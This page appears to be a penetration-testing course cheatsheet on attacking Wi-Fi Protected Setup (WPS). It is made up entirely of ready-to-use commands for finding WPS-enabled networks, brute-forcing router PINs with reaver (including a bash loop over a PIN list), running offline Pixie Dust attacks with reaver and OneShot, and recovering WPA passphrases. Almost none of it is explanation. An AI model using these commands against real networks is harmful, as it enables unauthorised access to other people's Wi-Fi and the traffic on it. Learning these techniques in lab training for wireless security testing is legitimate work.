Command Palette

Search for a command to run...

Cheatsheets
Next

Attacking Wi-Fi Protected Setup (WPS)

WPS Reconnaissance

CommandDescription
airmon-ng start wlan0Enable Monitor Mode.
airodump-ng --wps wlan0monEnumerate available Wi-Fi networks with WPS using airodump-ng.
wash -i wlan0monEnumerate available Wi-Fi networks with WPS using wash.
wash -j -i wlan0monEnumerate available Wi-Fi networks with WPS using wash with verbose output.
grep -i "84-1B-5E" /var/lib/ieee-data/oui.txtVendor lookup using BSSID.

Online PIN Brute-Forcing Attacks

CommandDescription
iw dev wlan0 interface add mon0 type monitor && ifconfig mon0 upAdd new monitor mode interface.
reaver -i mon0 -b AE:EB:B0:11:A0:1E -c 1WPS PIN Bruteforce using reaver.
reaver -i mon0 -b B2:A5:1D:E1:B2:11 -c 1 -p 1234WPS PIN Bruteforce using a half-known PIN.
reaver -b 5A:1A:59:B7:E7:97 -c 1 -i mon0 -p " "WPS Null PIN Authentication.
sudo reaver -i mon0 -b 60:38:E0:2A:4F:21 -p 88766197Retrieve WPA-PSK using a Known PIN.
wpspin -A 60:38:E0:A2:3D:2AWPS pin generation using BSSID.

Bash script to bruteforce WPS pins using a PIN list:

#!/bin/bash
PINS='73834410 94229882 73834410'
for PIN in $PINS
do
  echo Attempting PIN: $PIN
  sudo reaver --max-attempts=1 -l 100 -r 3:45 -i mon0 -b 60:38:E0:A2:3D:2A -c 1 -p $PIN
done
echo "PIN Guesses Complete"

Offline PIN Brute Forcing Attacks

CommandDescription
reaver -K 1 -vvv -b 86:FC:9F:5D:67:4E -c 1 -i mon0Perform Pixie Dust attack using Reaver.
python3 oneshot.py -b 86:FC:9F:5D:67:4E -i wlan0mon -KPerform Pixie Dust attack using OneShot.

Misc WPS Attacks

CommandDescription
wpa_cli scan_resultsScan for available Wi-Fi networks.
wpa_cli wps_pbc D8:D6:3D:EB:29:D5Connect to WPS Wi-Fi network using wpa_cli with PBC method.
python3 /opt/OneShot/oneshot.py -i wlan0mon --pbcConnect to WPS Wi-Fi network using OneShot with PBC method.
sudo reaver -l 100 -r 3:45 -i wlan0mon -b 60:38:E0:XX:XX:XXBruteforce WPS PIN using reaver with a lock delay of 100 seconds, sleeping for 45 seconds every 3 PIN attempts.